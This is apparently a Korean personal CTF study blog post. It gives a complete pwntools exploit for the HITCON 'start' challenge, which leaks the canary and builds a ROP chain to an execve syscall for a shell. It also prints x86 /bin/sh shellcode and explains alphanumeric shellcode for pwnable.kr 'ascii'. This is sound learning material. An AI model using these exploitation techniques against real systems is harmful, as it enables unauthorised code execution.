오늘 h4c 발표자료 만들랴, It과제 하랴 이것저것 할게 많아서 1pwn 을 하긴 했는데 그닥 만족스럽지 못하다 ㅠㅠ
그래서 이번엔 문제와 같이 pwnkr ascii 를 보면서 배운것도 같이 써보겠다.
HITCON - Start
이번에 푼것은 hitcon start 인데, 이건 사실 저번에 hitcon ctf 당시에도 풀었었다.
하지만 이번 h4c 발표자료를 만들면서 참고문제로 새로 익스플로잇을 작성했다.
먼저 코드를 보면 이게 다다.
그냥 exploit 하면 될것처럼 보이지만.
static linking 되있는데 system, exec 계열이 없다.
그래서 syscall 을 통해서 익스플로잇 해야하는 문제이다.
이런 익스플로잇 순서를 따를 것이다.
적당히 ROPgadget 으로 가젯 구해주고 익스짜면 된다.
from pwn import *
p = process("./start")
context.log_level='debug'
poprdi = 0x4005d5
poprsi = 0x4017f7
poprdx = 0x443776
poprax_rbx_rdx = 0x47a6e6
read = 0x440300
bss = 0x6cdb68
syscall = 0x468e75
binsh = "/bin/sh\x00"
canary_pay = "A"*(0x20-0x8+1)
p.send(canary_pay)
p.recvuntil("A"*(0x20-0x8))
canary = u64(p.recv(8)[0:]) - ord("A")
print "[canary] : 0x%x" % canary
pay = "A" * (0x20-0x8) + p64(canary) + "ABCDABCD"
pay += p64(poprdi) + p64(0)
pay += p64(poprsi) + p64(bss)
pay += p64(poprdx) + p64(len(binsh))
pay += p64(read)
pay += p64(poprdi) + p64(bss)
pay += p64(poprsi) + p64(bss + 7)
pay += p64(poprax_rbx_rdx) + p64(59) + p64(0) + p64(bss)
pay += p64(syscall)
# 59 | sys_execve | const char *filename | const char *const argv[] | const char *const envp[]
p.sendline(pay)
sleep(0.5)
p.sendline("exit")
sleep(0.5)
p.sendline(binsh)
sleep(0.5)
p.interactive()
Pwnable.kr - ascii
이 문제를 풀기 위해서 필요한건 Alpha-numeric shellcode 이다.
이게 뭐냐하면 우리가 보통 쓰는 쉘코드는
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
인데 여기서는 \xc0, \xcd, \x80 같은 문자들이 아스키로 표현하지 못한다.
이런 문자들을 고쳐서 아스키 문자로만 나타낼수 있는 쉘코드를 Alpha-numeric shellcode 라 한다.
개인적으로 겁나 신기했다.
예를 들어 mov %esp, %ecx 같은경우는 \x89\xe1 이 되어 아스키로 나타내지를 못하는데
이를 push %esp; pop %ecx 로 바꾸어서 아스키로 TY 라는 값을 얻을 수 있다.
나는 이거 보고 진짜 놀라 죽는줄 알았따. 너무 신기한것
https://nets.ec/Ascii_shellcode
여기에서 명령에 따른 문자를 볼 수 있다. 이를 이용해서 적당히 쉘코드를 고쳐주면 된다.
사실 Alpha-numeric shellcode 쉘코드 만드는건 문제가 없을거 같은데
프로그램에 nx 가 걸려있어 mmap 으로 매핑한 영역으로 뛰어야 하는데
이부분으로 뛰는것을 어떻게 아스키로 나타낼까 이다.
내가 확인한것은 ebx, ecx, edx 에 mmap 영역의 주소가 들어있어서
이들을 push 해주고 ret 을 해서 이쪽으로 뛸수 있지 않을까 한데 잘 모르겠다.
오늘은 여러모로 부족한 1pwn 이였다. 내일은 codegate15 yocto를 풀어볼 생각이다.
한동안 어려워서 접어뒀던 RTDL 이 거의 이해가 다 되어서 한번 풀어보려 한다.
'Pwnable' 카테고리의 다른 글
[Noe] Card (0) | 2017.12.14 |
---|---|
[Codegate] yocto (0) | 2017.12.12 |
[Pwnable.tw] hacknote (0) | 2017.12.10 |
[codegate2017] messanger (0) | 2017.12.04 |
[ch4n3 world] Sleepy (0) | 2017.11.22 |